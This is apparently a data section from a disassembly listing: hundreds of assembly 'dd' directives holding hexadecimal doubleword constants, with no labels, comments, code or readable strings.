dd 0C72FDAFBh, 0B0FA41A9h, 0E0FC56B4h, 3441048Dh, 108022FAh
dd 2BB38B88h, 37018F23h, 0EB992FEDh, 0C081EF7Dh, 8241634h
dd 358D7056h, 0A3283062h, 0DC4A2204h, 23268A22h, 5111B660h
dd 0E611EA0Fh, 1D1E11D8h
dd 22FE0211h, 61EE2EDBh, 83430031h, 0A75F321Fh, 3F0348ECh
dd 0C178D1C6h, 7DB588FFh, 2D2600CFh, 0FBBE776Ch, 88001724h
dd 950C3F6Ah, 0BB29CA5h, 3B7929C3h, 709DCC00h, 0B316C550h
dd 0F2002E32h, 0E767E3E4h, 0D7F8F321h, 25B107DCh, 0A08EEC9Dh
dd 0D006FBB2h, 0AE00FA77h, 0D95362BCh, 0CB550h, 0F7D62BCFh
dd 56011463h, 4270B405h, 0B043777Dh, 0D736C7E7h, 0B2C6EC20h
dd 336A397Ch, 0F57A3480h, 0EE29FCC9h, 0F3B3ED00h, 52383123h
dd 83DD0350h, 0A0402793h, 99E02FFBh, 0D8A0123Dh, 0FD0032F7h
dd 0BC546C50h, 7CD7D3h, 26C10A89h, 0AF1007EEh, 0C43FA500h
dd 6A84D0Bh, 4269015Fh, 5605A967h, 0DCFBCDA0h, 0C600551Ah
dd 0C00D99A5h, 165047h, 81A7F7D1h, 26B3AC01h, 9BB1FE24h
dd 0D0ECB403h, 0A909D0CCh, 4E8A00DAh, 7D2F0FCFh, 580F5B3Dh
dd 0AA94C9D9h, 0CE0EBFC4h, 0AFB8201Bh, 5E39B9h, 0F96145DDh
dd 0BE9521AEh, 0EFAC5103h, 0B862D87Bh, 1EFEA4C5h, 0C01ED11Ah
dd 0E8DB6E14h, 7079E571h, 8158E20Eh, 37560769h, 401808C2h
dd 7934F3h, 46EE1766h, 19A9AC02h, 8489C901h, 0DCE895F3h
dd 4B3898D7h, 67AE0A1Eh, 0A01ABBh, 33A01CA3h, 7E01E5DDh
dd 1205D309h, 0F4D417ECh, 3D2939CFh, 8207A9D8h, 406E8FFDh
dd 6DC647AFh, 17AD9600h, 0E0D955C3h, 19C21F7Ch, 1001BCE4h
dd 0D471521Dh, 0D12E704Ah, 51686F00h, 0BCB7C186h, 5FE9Eh
dd 0EF143570h, 2E925AB8h, 13E33Ah, 9030B6F6h, 1C8C1F99h
dd 40400CEAh, 4E12FF33h, 0EFA07A02h, 0B800481Eh, 24576409h
dd 52C11ADh, 277B6303h, 44BC00E7h, 0CD3FCAEh, 8314C038h
dd 5B7D13Fh, 98E0907Bh, 0F85B49A6h, 9ADCC500h, 5E8638E1h
dd 0A8745Ch, 933FCA1Ch, 14DBAC11h, 0F8D2C12Eh, 8090251Fh
dd 0EDCDF3B7h, 10EC738h, 0A0FF4FE2h, 3D168F24h, 0AC781804h
dd 5A2C30D8h, 0CFC09607h, 0E4E05561h, 90BFD319h, 0A64948CAh
dd 0A537C100h, 665AFE46h, 691DE300h, 56424333h, 0B82000E4h
dd 0E0F3D105h, 0EC499FEDh, 9C648014h, 8940C6h, 3D058AF3h
dd 6588771Fh, 0AE735D00h, 83B2CC09h, 758E0023h, 0EF30EE34h
dd 0C800F786h, 0F14F12CDh, 1E2105Ch, 0E01B6E6Dh, 0D9A9B64Ah
dd 66AE8EBh, 0B0568F00h, 0FB2DDA8Dh, 0B49834h, 5325754Bh
dd 4A72495Ch, 0E66DEA00h, 0B0B1DEBAh, 43E49Fh, 0FEA13423h
dd 0F52AC96Ah, 0FA75F400h, 0E0BA47F8h, 519C007Dh, 0EF824997h
dd 34604B62h, 0C731FFE0h, 2B090161h, 96CE1A11h, 0D2ADC45Ch
dd 0B800CFE0h, 0E4B4504Bh, 0B81F2422h, 486B002Bh, 81551DBEh
dd 0DF7815F6h, 0D6239D00h, 0BA5D4165h, 0BC6E001Ch, 3B029CE3h
dd 720743F2h, 0E78BD2B5h, 0C8D6CEF1h, 73F2620h, 479E1C56h
dd 0EBFD94A0h, 0A1B73080h, 0D83D0E3Eh, 77E08674h, 59903566h
dd 92B0B805h, 0FAC04DCEh, 0C07558h, 488BBD7Eh, 0B2767255h
dd 96129303h, 0B84563BFh, 0CCA39DAh, 0E99FAF61h, 0D126F6E1h
dd 3D6058h, 9DFCA24Bh, 6884859h, 0D4FBD92Dh, 8D0058AFh
dd 0D086BEC9h, 48927B61h, 4D8058AAh, 3FD693B8h, 172C0B1Eh
dd 47A8C880h, 98F6A761h, 86355078h, 0FAF22Ah, 29222F53h
dd 4D6039F5h, 69E9E307h, 8D70DF0h, 2507EC0h, 416801F1h
dd 191C3F45h, 0E34660A2h, 6F330501h, 249A0C69h, 71271DCh
dd 0D3F61D7h, 0C9289097h, 4D000E78h, 0BEECD1B4h, 0D4862Fh
dd 164A20C3h, 5FFB0FB5h, 43175B0Bh, 0E81C8053h, 149B2313h
dd 0E89114FFh, 0F92A0DA0h, 63C9A600h, 9CC330E3h, 0FF3F0990h
dd 0D407FCDAh, 2C869072h, 0B701D6Ah, 0F9C20400h, 0E7A939AAh
dd 4AB100B0h, 0DA1AD585h, 0A839FD42h, 0F4300EFh, 7203A02Ah
dd 510C0096h, 3E1E45D5h, 0B23D104Eh, 0B725012Fh, 4DE332E0h
dd 73A72680h, 0DD28E929h, 0B3C4C800h, 76DA68E4h, 420C00EEh
dd 69E5FA10h, 527AF356h, 38F1300h, 0CD5204Dh, 0CE851E45h
dd 60AE804Fh, 0E0ABDDD2h, 9E42B40Bh, 6B9020DCh, 1E8E36CEh
dd 0C0139F7Ch, 810B44FDh, 0F20052F7h, 4AFAF163h, 3B26891Dh
dd 9709A05Ah, 4E00B030h, 0CC4E92D5h, 82F6343Eh, 78F7A512h
dd 60D3E2CFh, 516C6E6h, 3EBE9AD8h, 33C09009h, 5601D9A5h
dd 137EAFADh, 0D4EC8AA8h, 0D1AC261Ch, 404F1D60h, 0B4186427h
dd 83006071h, 5A513416h, 0C0780873h, 2B1E52B9h, 37008AFEh
dd 39A613BBh, 3FD8BFA8h, 20BE2772h, 0EF31D40Ch, 0C8009A79h
dd 0E62F5595h, 5CB31417h, 0AF18F508h, 0C1B25020h, 15C014B9h
dd 60AC3761h, 0EA951912h, 0BC00422Ah, 7AFF1878h, 3552EDh
dd 1167240Ah, 7E6C5C40h, 876AB700h, 30321EB3h, 91FAE4h
dd 0A1B9AB25h, 20F9DAF8h, 0C5DD840Fh, 56D020A3h, 655063h
dd 3C9D2B76h, 0E6EC3171h, 186DB700h, 0EE98FB96h, 7C9473h
dd 310D07EDh, 0F501E162h, 7CFB09CFh, 5032F933h, 0B7A90DC2h
dd 0C2573CC8h, 8700FFF6h, 0EC4FA611h, 5A2ADBh, 9ED988E7h
dd 0A5891576h, 2298AB00h, 0D434799Dh, 0A2E71D0Bh, 9C1DC025h
dd 0CCCBA881h, 143A653Eh, 4A03836h, 0E30F622Fh, 20409985h
dd 0BA644073h, 3FFC00F9h, 0D1F301B5h, 8302BB68h, 8A6034C4h
dd 0F07363D7h, 1B451Eh, 689F22Bh, 60DFBBB1h, 75122492h
dd 77030D03h, 0E84B4F57h, 2EE92D97h, 0DC3394h, 346F7B43h
dd 4E509F35h, 0EC0E4B90h, 7D091004h, 0C78C4487h, 2729EE06h
dd 0D000EBE2h, 0CE70B496h, 33CAE48h, 8A0B9A2Fh, 0BC7FA86Dh
dd 8B0100EBh, 11AFB46Ah, 9FFA3C5Ah, 4593C50Fh, 33A28092h
dd 0B70CDEh, 0A8526631h, 728A53Bh, 428FA701h, 0B9DEDAD4h
dd 0EE92C440h, 20BC4DA1h, 93A98C01h, 8194C802h, 0C4742910h
dd 0A8FC3195h, 2CE067h, 7836A1Ah, 2D8D8463h, 3079C300h
dd 560860D9h, 0C9EF1C50h, 0A33DC055h, 2D722786h, 5479117Dh
dd 9C325Dh, 4C449064h, 1C626779h, 40D4BD22h, 0BC7EA6C0h
dd 5EE6B0FBh, 697E6EFAh, 58BE1D04h, 0C1EEE7DCh, 0DC59A696h
dd 0B212784Bh, 20007E91h, 0A8FD826h, 0F1B3008Bh, 11446824h
dd 9707F07Dh, 403F2FCEh, 6E3C3720h, 804B00D8h, 880FCB15h
dd 68BA0858h, 0B436B500h, 4F74F7BAh, 0C55FECAh, 0A50616F3h
dd 3500FC20h, 3703F821h, 18C464D9h, 700CF9E3h, 0B8001AF5h
dd 7EC3811h, 90B3FA08h, 0A7500054h, 34E6746h, 65000514h
dd 1145A8C9h, 18B3CAh, 0FA891FFEh, 0D40F36BFh, 5DCB9000h
dd 0CE6D9AEh, 0F06500EBh, 0E51B39A1h, 0B00A80Ah, 7B6B8ACAh
dd 1D87420h, 76E7CDD0h, 0EC72D56Ah, 7D00F0A0h, 7CF235EBh
dd 0A94606h, 2E6705C8h, 2BE6936h, 0DD00FBE0h, 0B7A45FDAh
dd 0FFEE22h, 33BC3760h, 4BB5BAAEh, 0E71B0C00h, 99714266h
dd 61C10EE5h, 0A2209F62h, 3DDD5E19h, 0FFBBE300h, 0B08E1415h
dd 0C2B20016h, 0E182C1C9h, 1716DAB7h, 505A8BDDh, 3D506029h
dd 43433EDh, 4ED8A010h, 8C0079E0h, 3551AF1h, 0BB2AE7h
dd 63B71F62h, 69A1FAD5h, 0A25B6C1Dh, 0B9DDD80h, 281B3Ch
dd 85CBCEFFh, 0F190BC3Fh, 1448E201h, 13F08F95h, 0F7E4D6DDh
dd 7CC926B0h, 76150093h, 0D2FEE022h, 4C4E7000h, 44732E1Eh
dd 54D021Fh, 0ECED9AB5h, 0CEF7D460h, 9F91600h, 0D615448Fh
dd 0B56F02BCh, 20E26EA1h, 383476E0h, 3012B201h, 0E84EC3CBh
dd 1E5E15D8h, 6739E611h, 1E93C402h, 0B38FC853h, 0E291E03Bh
dd 7831FC8h, 54F6CCACh, 1589C0D0h, 1104DE70h, 9A66A544h
dd 604FB582h, 681C20h
dd 0D5BF378Ch, 0CE5A7446h, 4B615900h, 0D215A9FCh, 0AACF588Eh
dd 68F51900h, 9FDB877Ah, 0AC89F126h, 0A194A800h, 2C153CC3h
dd 11CF840h, 3056FBC8h, 5A083095h, 0D04EF112h, 0E7AF7800h
dd 0E644F86h, 3FAC2C40h, 1C0CBBA0h, 0FE0365B0h, 1A1F3DFCh
dd 7432F146h, 0B33FE040h, 8D2F1D0Ah, 5E4180BBh, 0D0BE3E36h
dd 751D5C00h, 0AF89E0EEh, 94183BA5h, 0E8F3ED00h, 8FB3F25Ah
dd 50D4FF02h, 4066BA6Eh, 967064Ch, 0C22EF5B8h, 1D768C80h
dd 47605B24h, 535831D8h, 8394167Fh, 0BDFC40E2h, 0D371C15Ah
dd 40690200h, 58FFA133h, 1E940043h, 0E9B12883h, 0BC00FE91h
dd 243F4DF7h, 586C9D32h, 2F00F35Ch, 0F6C890C5h, 311FB95Eh
dd 8C00DBE5h, 9128ECE1h, 0FC560037h, 0B07A1226h, 0CC4A939Fh
dd 0D7B17800h, 4FAA86CAh, 7E2040D4h, 0C5BA6A8Fh, 17EEC81Dh
dd 0CB7D1B00h, 7AD4769Fh, 1DED010Fh, 0C63B8488h, 8AC2044h
dd 0C9BE9B00h, 70F1569Eh, 0C0553BB0h, 21497F80h, 200EEB66h
dd 0FF312Dh, 0BB4D7064h, 126F783Ah, 206CB68Ah, 0DA505138h
dd 0C3171A03h, 97D4DDA4h, 36E03C40h, 4490B6h, 19DB9E34h
dd 85882750h, 2B168E0Eh, 894080D0h, 3A84B396h, 6905A13Ch
dd 91E5B49Ah, 0D338BB50h, 0C3E10E90h, 2DEA6101h, 0E64C1430h
dd 0A1B60D30h, 0A0ECA380h, 519400D8h, 0D005A8C8h, 0BF0EDD78h
dd 822B6B55h, 0E0548B84h, 99E7450h, 50BA3661h, 2AB72400h
dd 6803F6D0h, 0FDDE2202h, 3BA0E8C2h, 60480109h, 0AA8F2BFAh
dd 3E05ECD3h, 0C74F4700h, 7E1D9A9Ch, 91DB00E8h, 2EA63FABh
dd 0CE0034EFh, 0D7434F72h, 3FC3D167h, 2400F5B2h, 0E4D96CBEh
dd 0AB3B2781h, 805A3107h, 0C26087B0h, 5992622h, 702808Ch
dd 0B2348D61h, 5F00C670h, 2AE862F5h, 0FCEA0Bh, 9C942ADh
dd 9318FEF8h, 9DFAD22Ch, 0F3910200h, 3DB88537h, 0CC0021EDh
dd 0B1B909AEh, 0A2004C6Ch, 1D6B7A40h, 3372F4Bh, 16BE77F4h
dd 41F9B602h, 5244C4A7h, 0CCDF91Ch, 0C357CFh, 0E5BBD3C0h
dd 8090B68Ah, 944651F8h, 0D400280Eh, 0B3D7AEBDh, 49AC9329h
dd 8C022CBAh, 48023CFAh, 68E468E0h, 0FE5EB100h, 576A076Bh
dd 40509F4Eh, 0E7501407h, 0C93055A8h, 0B0D6714Bh, 0F85602B0h
dd 9E644157h, 95023444h, 83D37E42h, 1878FFh, 5320D02Eh
dd 0A9A2FD5Eh, 2FC73307h, 0C5D2DBB8h, 6E34E024h, 60F92C58h
dd 0B4700004h, 49BECDF4h, 11185900h, 3A505FB1h, 0A632008Ch
dd 98FB5C4Bh, 6900228Dh, 9C2435ADh, 481951h, 0DD5F7CA5h
dd 9BC5B80Eh, 0F6FDC100h, 0D5A082EAh, 263705D2h, 40FE8D34h
dd 4793D794h, 6B008655h, 0ED078AB7h, 0FFBC3Ah, 42DAB33h
dd 0BE804878h, 62F991Fh, 80D9B289h, 0CC612088h, 35DE13C0h
dd 5D8400BAh, 9D6F72BCh, 0AF2DB31Dh, 5FC5300h, 90C817BFh
dd 1EC2FA24h, 53AA5E9h, 816CF25Ch, 45F8EAA5h, 16980094h
dd 717D2495h, 45BE2B00h, 5F619DC3h, 25D4F137h, 0DA8D2887h
dd 66C1000Ch, 74656C9h, 2FFEABA4h, 45E60500h, 0DA6F3E5Ch
dd 0FD7C11h, 64D64857h, 16A337B9h, 0E1036CB4h, 98D73532h
dd 0EC80C017h, 276B28EAh, 26031C8Ch, 0A76F8031h, 0C5F5AF3Bh
dd 8E982801h, 0E2A00DEAh, 3512ECh, 68145741h, 88465F69h
dd 53FCE8FFh, 5B8C6700h, 6678D66Eh, 0EB012EFh, 292000DCh
dd 0B46A518Eh, 97829B01h, 3331193Eh, 0F43ACC6Dh, 0C1A72A87h
dd 0EF9D199h, 0BC9CCCC7h, 0C50BD972h, 8023EC91h, 0E27EAA82h
dd 0A3E6003Eh, 0D3995550h, 0BE00C34Fh, 8D5A09B8h, 0E3CA07h
dd 0B50CE863h, 914F8BC6h, 0E420BD67h, 3BDD9FE0h, 0A02BFA90h
dd 4C1070DEh, 0F807471Dh, 80D86A78h, 44DD5083h, 5FE22500h
dd 4BBB7303h, 4E2F0E3Dh, 4580786Ah, 65BC0FE8h, 0B0ABE00h
dd 0BDD3229Dh, 936407FAh, 1060214Ch, 0C50D8BB8h, 3A27E00h
dd 64AA83DDh, 3AB50022h, 1E21F4FFh, 0E6004F75h, 4ADD881Fh
dd 547F25h, 391D9E11h, 0F55560A6h, 64B28DCh, 0B0B8007Ah
dd 3FCB89A4h, 9280BD95h, 3804B276h, 25385AB4h, 1800FC4Eh
dd 3EEFAA0Fh, 2EAE3Ch, 0BCB0AD23h, 6442268Ah, 0FD981600h
dd 0CEFC6AE0h, 5D50000Ch, 54B68514h, 2E3058A0h, 535EA112h
dd 61E50473h, 0B0D4F76Ch, 47141F64h, 0E8AF91h, 68E3A49Fh
dd 3BD2236h, 0F0768F0Bh, 0E890A3BAh, 0E707D64Eh, 0A42D7CCCh
dd 0D47BEBF0h, 32AB285Fh, 6770009Ch, 952BD745h, 4074849h
dd 3CFFB661h, 0A4F0E81Bh, 0AC530046h, 0A8DB0324h, 0B4190D44h
dd 0A920F9B2h, 6CC109Fh, 0A153E280h, 8C2FB026h, 0C1393C46h
dd 509CAF08h, 5038B119h, 8FD4E744h, 65A23F4Eh, 0FFA5AF39h
dd 77831047h, 92398AFh, 2D384C21h, 81280C51h, 41477425h
dd 0FA185908h, 365D7F0Eh, 58A745D4h, 963C0C03h, 0A0E90A3Dh
dd 8472DFh, 992FF087h, 4C00DAE1h, 0DEA7C444h, 2DC0E566h
dd 2A7E21B4h, 4B1C982Fh, 0A4550E17h, 0DDC0719Bh, 0C6E721F7h
dd 0F50BFB00h, 8CAA45F9h, 37CA787Bh, 0B070440Ah, 4939F6FEh
dd 7100737Eh, 82EFE242h, 1E31E76h, 0FE9F48F7h, 0F821A72Fh
dd 3B003D5Ah, 17D5A6E4h, 338C96Eh, 0A529081Fh, 0D6F258FAh
dd 46FCAC80h, 5F0595AFh, 20835161h, 0A8D49000h, 0EF03BDh
dd 0E25AAB23h, 5619CF43h, 77FDD007h, 189F3042h, 0AD32E20h
dd 57F461A1h, 5E557020h, 73DD098Ch, 144047F4h, 8E00B71Fh
dd 8FD46A67h, 0EE3CED5Ch, 0A89EE85Dh, 0F5702BCh, 15A5326Ch
dd 0CAA6E582h, 0F3708468h, 0D6341815h, 9DBC00ECh, 578202F5h
dd 0CBE100DEh, 1A0E9817h, 0E7A041DDh, 515083D5h, 0A60C1288h
dd 48E4BAADh, 0E81F0C0Fh, 4159250Bh, 0AE0582F4h, 2D78C0E9h
dd 0A372EC83h, 0FA210046h, 495D8236h, 0BD7F7B5Eh, 76014CF2h
dd 3B971889h, 442477C3h, 56BC1BCDh, 0BFC36949h, 9AFDE6C8h
dd 3ACFE206h, 6008BA92h, 95D02173h, 0C40245E7h, 98460685h
dd 4BE482E3h, 71B82C4Eh, 0DE231842h, 0B4827E00h, 869A90E9h
dd 0E00124A4h, 0D2EB8234h, 44C6A9D4h, 616826DCh, 0BD344118h
dd 0B618823Ch, 0AF872920h, 0F91000ECh, 0B8A8B950h, 0CA531927h
dd 500708FDh, 25137AC8h, 81417D00h, 0B0B485BBh, 172CA047h
dd 0A9FEEF6h, 100C8954h, 60696490h, 3209981h, 5E8677F0h
dd 800A7E8h, 52BAACCh, 0FA99793Bh, 0E4110F40h, 0EB80750Ah
dd 0F9EFEE66h, 0EDF54D07h, 0BBC10528h, 208E0467h, 0A921232Bh
dd 807A6DECh, 99851549h, 5457F014h, 40313487h, 7D003FABh
dd 436C2899h, 6D5E780h, 0C24457DDh, 0CC5861EFh, 164B0064h
dd 3AD9DE40h, 81831E04h, 0D5B901F5h, 0CC78CAE0h, 9700021Eh
dd 46EF3E5h, 0C0DE1305h, 0B623CBB9h, 1806638Ah, 198DEE99h
dd 0BD53008h, 0B6146B20h, 1C53E100h, 86BA6F16h, 0CEDD02F8h
dd 2A887FE9h, 0D39F6D41h, 138A9000h, 0D671F248h, 29430E3Eh
dd 0C58C391Eh, 180369B1h, 7DB4BA40h, 0C157A008h, 93C7134Dh
dd 0EB7200AAh, 0B075F098h, 9C01C32Ah, 0DFCD6500h, 0C68ED27Eh
dd 3D8B1DE4h, 216018CFh, 0E0000BCBh, 1A463266h, 2EBCC1h
dd 4890AB8Dh, 6088F233h, 0D0A0A967h, 125897Ch, 663973A6h
dd 0D16F6CE1h, 0E6B5E09Fh, 23D420D0h, 99820F1Bh, 63AFF064h
dd 282107C9h, 0D090997Ah, 0F0471193h, 0EE2208F4h, 857500DEh
dd 0B78A6ABh, 62185C1Ch, 79E89F2Ah, 0F20286C2h, 6D215DFh
dd 0DA2E18CFh, 538CA80h, 0FE0413E0h, 0BBB840A0h, 33FFA2CFh
dd 80D5343Dh, 0A8F5F22h
dd 606C117Bh, 439D2049h, 3E7ADEA9h, 38A072F0h, 0F454DD25h
dd 9B076088h, 0F52DA5FEh, 0EC08CED5h, 4812C015h, 1E2171D7h
dd 0B89139h, 0B5401B6Ah, 0F6F4A5D9h, 82F10681h, 2036B678h
dd 0AE882903h, 88CE434Fh, 2A2A8762h, 430DEEFh, 71F14B64h
dd 20C262AEh, 2F48EDB4h, 7403C3E4h, 0CFD88DE9h, 0A211A0FDh
dd 1A660658h, 31B9C171h, 2F56E800h, 3A857E16h, 446F008Eh
dd 43861B9Bh, 0A81F9CE6h, 7789B5FDh, 2B7421F2h, 0AC4CF94Ch
dd 0E99809F7h, 9427F1DBh, 470780D9h, 1A00D0ADh, 0C3E36C8Fh
dd 0FE68FDh, 2328B6B3h, 94661805h, 58B2DC02h, 4CAF75F2h
dd 0DFC00264h, 0CED6CD43h, 0F0175919h, 73EEE006h, 4128EB03h
dd 0B0F149A7h, 35589Dh, 6B4F8B9Fh, 0DD378421h, 625ECD03h
dd 2408C86Ch, 5EEC6940h, 0D500A246h, 2ACDD8FBh, 4718EC7Fh
dd 0DD410E6Dh, 0BE2100C0h, 0CC4F8A08h, 277796C1h, 0C3007899h
dd 0FB431067h, 97FC0E6Eh, 0B9A93673h, 37F38Fh, 14EAA84Dh
dd 270610ADh, 37CE2F04h, 0D36F3008h, 14B86220h, 0E08F0A01h
dd 73B7D417h, 70C81881h, 0A44EC555h, 8503DF48h, 4D220Fh
dd 0AF571210h, 9363ABBAh, 5CD4230Eh, 311C8C92h, 0B4310F6Fh
dd 51A001F5h, 690374A6h, 5D92B900h, 1C5F4B48h, 85A203A8h
dd 54281FDAh, 31340EDDh, 634021C8h, 21ABB6AFh, 57989203h
dd 58B331h, 0FC747FAFh, 94317628h, 245C6100h, 0CF4BA03h
dd 8CD1D0B1h, 0F900E423h, 0CF108A14h, 9A6F8603h, 153F4021h
dd 0F9F1B1h, 87D48CE2h, 53176541h, 0C2335500h, 6B1EAC5Bh
dd 729A33D6h, 58A3BD90h, 1100D4C3h, 0C08B5ABFh, 0E27C61A6h
dd 0ED09C65Eh, 9F002073h, 7EE18362h, 0CC1D767h, 0C6C04DFAh
dd 28C5748h, 0A6CD8EB5h, 0F3197BA9h, 8B5DE810h, 0A4A0FB7Ch
dd 2200AA9Fh, 0D997EF3Fh, 54A370C0h, 0E0C59879h, 0AF6801BEh
dd 2D4A4FD7h, 90F1A04Eh, 0EB01AE46h, 3F155C14h, 40980C04h
dd 317E0DD3h, 12B8333Bh, 3C3A6ABEh, 0C76EA310h, 26F0D11Bh
dd 760C749h, 0A906EE9Dh, 0FD442099h, 0E40030A3h, 0F4B8283Ah
dd 1D58FF24h, 7A18279Fh, 84F09E00h, 7F3D35D6h, 0F4522802h
dd 0E01930E4h, 1D43277h, 8D799501h, 0CFC68866h, 4987F9A8h
dd 70FD970h, 2BE7B8h, 45784F50h, 0DB370ECCh, 0A787EA77h
dd 0BF1A2092h, 0BC00E14Bh, 40D95F98h, 50B439h, 684701FDh
dd 7D69121Eh, 94955600h, 0C0671F3Eh, 209B3E55h, 8A977580h
dd 7C0B6A9Ah, 65C1E2A0h, 0D26EAF00h, 5472C226h, 232724BEh
dd 0DF2C008Bh, 98305769h, 3BF6800Eh, 0F81C203Ah, 3EBA4CAAh
dd 810717ACh, 0D3337Fh, 3FEB947h, 62993850h, 93879D09h
dd 5E060015h, 568C27h, 4CFD8517h, 0AD5FF2F5h, 0C90080DEh
dd 830B5169h, 335700A3h, 474B7C77h, 2D7EEC54h, 4DC0A614h
dd 2E3A0080h, 70231BF8h, 4540C73Bh, 109157C3h, 15A8945Dh
dd 0CC0027F4h, 0DACFD6F8h, 0BFD03Ah, 0D555D15Bh, 5419471Fh
dd 6F8F5A03h, 80DF16E2h, 0B8BA3779h, 7A110031h, 81BD5D9h
dd 933EB354h, 86B980A7h, 213FE31Dh, 0D4A30730h, 80F5F660h
dd 4EF2D7E4h, 9D82FD00h, 7B2FF188h, 2BAE009Ah, 0E7B7CF27h
dd 830081B9h, 827C961Dh, 0D449A6h, 35944A4Bh, 0F667DF17h
dd 13AA280Eh, 780460EAh, 39E7E6BBh, 0F21C476Fh, 4CD60181h
dd 8E90178Ch, 0B01440h, 39B1FC29h, 674503B8h, 0FA5C6F74h
dd 633B33F8h, 8001E13Dh, 81BA6661h, 44F91DA5h, 8000D4A9h
dd 8E4C5170h, 6C805B3h, 0F6C10DA8h, 1B1C80CDh, 0CF8082E7h
dd 1EB86D22h, 90B059Fh, 4E03167Fh, 0C0C01980h, 0D931225Eh
dd 13A02054h, 1B79D200h, 0DE779F25h, 53F700C8h, 4F4C4D72h
dd 7600EF99h, 371FEEA2h, 32A540Fh, 9644738Ch, 1A883D4h
dd 40DC5270h, 59ADC940h, 0E6B43818h, 5D410071h, 0C5D73B83h
dd 84003046h, 3ACBEAEDh, 4C7F5Bh, 0BF52F0B2h, 6D9C181Ch
dd 0A814210Fh, 51FA4091h, 0EC42D1B6h, 29F1038h, 0BA060041h
dd 5B2ADD76h, 6FDC005Eh, 3AA4D41Ch, 0F700F1D2h, 0BA97563Eh
dd 0E88F2Dh, 55FA3D14h, 0EF60CC4Eh, 94358C00h, 34C459C6h
dd 0EC013CE7h, 9699C880h, 71B15B17h, 0F274EA06h, 30083279h
dd 0AB203695h, 843A5B0Fh, 57BF00D8h, 85330AB8h, 979C002Fh
dd 9135F69Eh, 0FB0EEF09h, 2046D075h, 34CE2C84h, 434A4D2h
dd 71B45B0Ch, 606302h, 5B04AC21h, 6E5AE4A1h, 80D22C00h
dd 0AEE5CCABh, 6315007Ah, 0A6980A20h, 79C39B9Eh, 0F137B7A8h
dd 79F8AC11h, 8AD636Eh, 20009FAAh, 3F37A808h, 10B560Ch
dd 64BDCA87h, 0FC3449BEh, 0F900E769h, 0F8BCB179h, 1DC97E88h
dd 86AAF1E2h, 0E0DDF0F3h, 0D94DBA00h, 80BE6FA4h, 66D1C00Ah
dd 4686816Ah, 28C0F000h, 97DC7B67h, 21C1C11h, 78D2C6E0h
dd 3505207Fh, 3BBBC044h, 21FC203Ch, 8781D3A2h, 95B00EF6h
dd 0F9C8C880h, 610C6A55h, 8F52773Dh, 0E65AAF1Fh, 1F204BC0h
dd 16A1B58h, 0E0461C45h, 1939859Ch, 9C07E530h, 40386520h
dd 111737B1h, 0F0109C46h, 83BE0099h, 0A401402Ch, 0FCC990D3h
dd 0A89C771Ah, 1D865DACh, 80E13DE6h, 0AC4E94FDh, 3600893Bh
dd 18D89D42h, 6782D49h, 5F63D9E0h, 1F0958C9h, 2DBDA0C7h
dd 41BA02Ch, 471006C3h, 0DCCE5800h, 9CF07A1Eh, 1772EE0h
dd 50400064h, 0A50797A0h, 1006FCB8h, 7BACC5E3h, 11D44228h
dd 0C1215149h, 887C0F08h, 0C0887478h, 0C30D8845h, 79389C8Ch
dd 4B2284ECh, 29E96E46h, 55C0EF2Eh, 6EDEA457h, 346DA309h
dd 0CA68002Fh, 11C07C2h, 0F0AFB7A6h, 0E457E277h, 8A0E4CB5h
dd 400F4ACDh, 10C83785h, 15C01472h, 4402F0ADh, 0DA0D4F24h
dd 22C942E0h, 39001698h, 1E580625h, 3402FEDh, 2C6D16Bh
dd 0CEF8FD33h, 0DE002CC4h, 218D4B0Ah, 3B3943B9h, 9E00491Dh
dd 45D62EDFh, 7505EAF0h, 0CACF4C0Eh, 0F324B840h, 60B8E9h
dd 0C9EF726Ch, 1911592Ch, 11C025F8h, 56B48648h, 0EC620549h
dd 4083B034h, 0F9CB21D8h, 4F4CE1FDh, 0B2D200C5h, 6FB88953h
dd 3C605A6h, 80AEA16Bh, 0D1711AEBh, 429FD703h, 0D92CE1EDh
dd 5EC08BB2h, 2F2800A3h, 3319F81Fh, 1200FEAEh, 4A436A96h
dd 484B27B6h, 0BA00B676h, 4923FB38h, 0E300BCC0h, 990CBB8Bh
dd 7D71F29h, 5EB33421h, 97EC3071h, 0B9003155h, 54E06C52h
dd 9C877A5h, 266257E8h, 0E7660681h, 0BD38C0F4h, 0A4BC5A0Fh
dd 0CC87C3A2h, 757690EFh, 1EE700C5h, 13F6B2DDh, 97008F38h
dd 0A485B3EEh, 90392F2h, 72F43B55h, 0F080580Fh, 0AC5FADE1h
dd 8B674D00h, 2B248C75h, 98A20028h, 0AF9EE40Ah, 0FCF1F8B7h
dd 0D003F5Fh, 22C53256h, 0BDF217h, 2B98D18Fh, 7EB5727Bh
dd 308EB48h, 2D334547h, 36C0F041h, 89D500E2h, 0B2A3BA61h
dd 0ED607822h, 2F3E5F0h, 33B0A818h, 74351682h, 76B6004Dh
dd 90EBEC69h, 5A44F001h, 6E116636h, 1CA1020h, 5063383Ch
dd 0D04D43D9h, 0CB0173E7h, 0C60D3E9Dh, 28801F2Dh, 96DA013Bh
dd 809481Eh, 0AF64A44Ch, 5D30C73Ch, 5BDE71C1h, 7E31E5h
dd 0A14D4438h, 0A60076B5h, 0EF041027h, 12E0B0AEh, 0BA730Eh
dd 5D597C28h, 0E602CEC7h, 0F094BDE1h, 15F88071h, 9ECFEBh
dd 8D8EB72Fh, 53D3261Eh, 0CB01E1FCh, 8581DEC9h, 0F09665B5h
dd 0D33C01B9h, 0E050CFA0h, 0A500B33Eh, 0F382F6EEh, 12BB10FDh
dd 16083DCh, 301DAA14h, 5244E84Eh, 9B00377Fh, 9D3F43BAh
dd 0AB4657h, 0B3A706B5h
dd 0D4349A17h, 4EB8A200h, 28C9F19Ch, 149202ECh, 73F45DDCh
dd 16D00047h, 913F8447h, 0C034000Fh, 0DE3E6B0Dh, 7B920056h
dd 6E0B248Ah, 5B00CF81h, 9588D225h, 0B3F6B0h, 8D27B1C1h
dd 0DF5C4651h, 0FB664300h, 4C5693Ah, 2FDC000Ch, 71F892A5h
dd 3275997Ah, 8F658E07h, 0F0A0EBDDh, 374777Bh, 185E03FEh
dd 0CDF033C6h, 3D0F8E35h, 60872E14h, 0C18CB991h, 0DEE817h
dd 2841DB15h, 0AC29DD38h, 0EE7F3000h, 0BF481C2Ch, 543D077Eh
dd 670EA44Fh, 782C5FCDh, 0CE00D420h, 8118500Dh, 1D9F0197h
dd 8E87B61Dh, 0DFEE9A61h, 0C75EB60h, 0FC0077E9h, 32CE1F68h
dd 3DB6A229h, 3880B909h, 0FFA7AAB8h, 310244E3h, 5E5DC5A3h
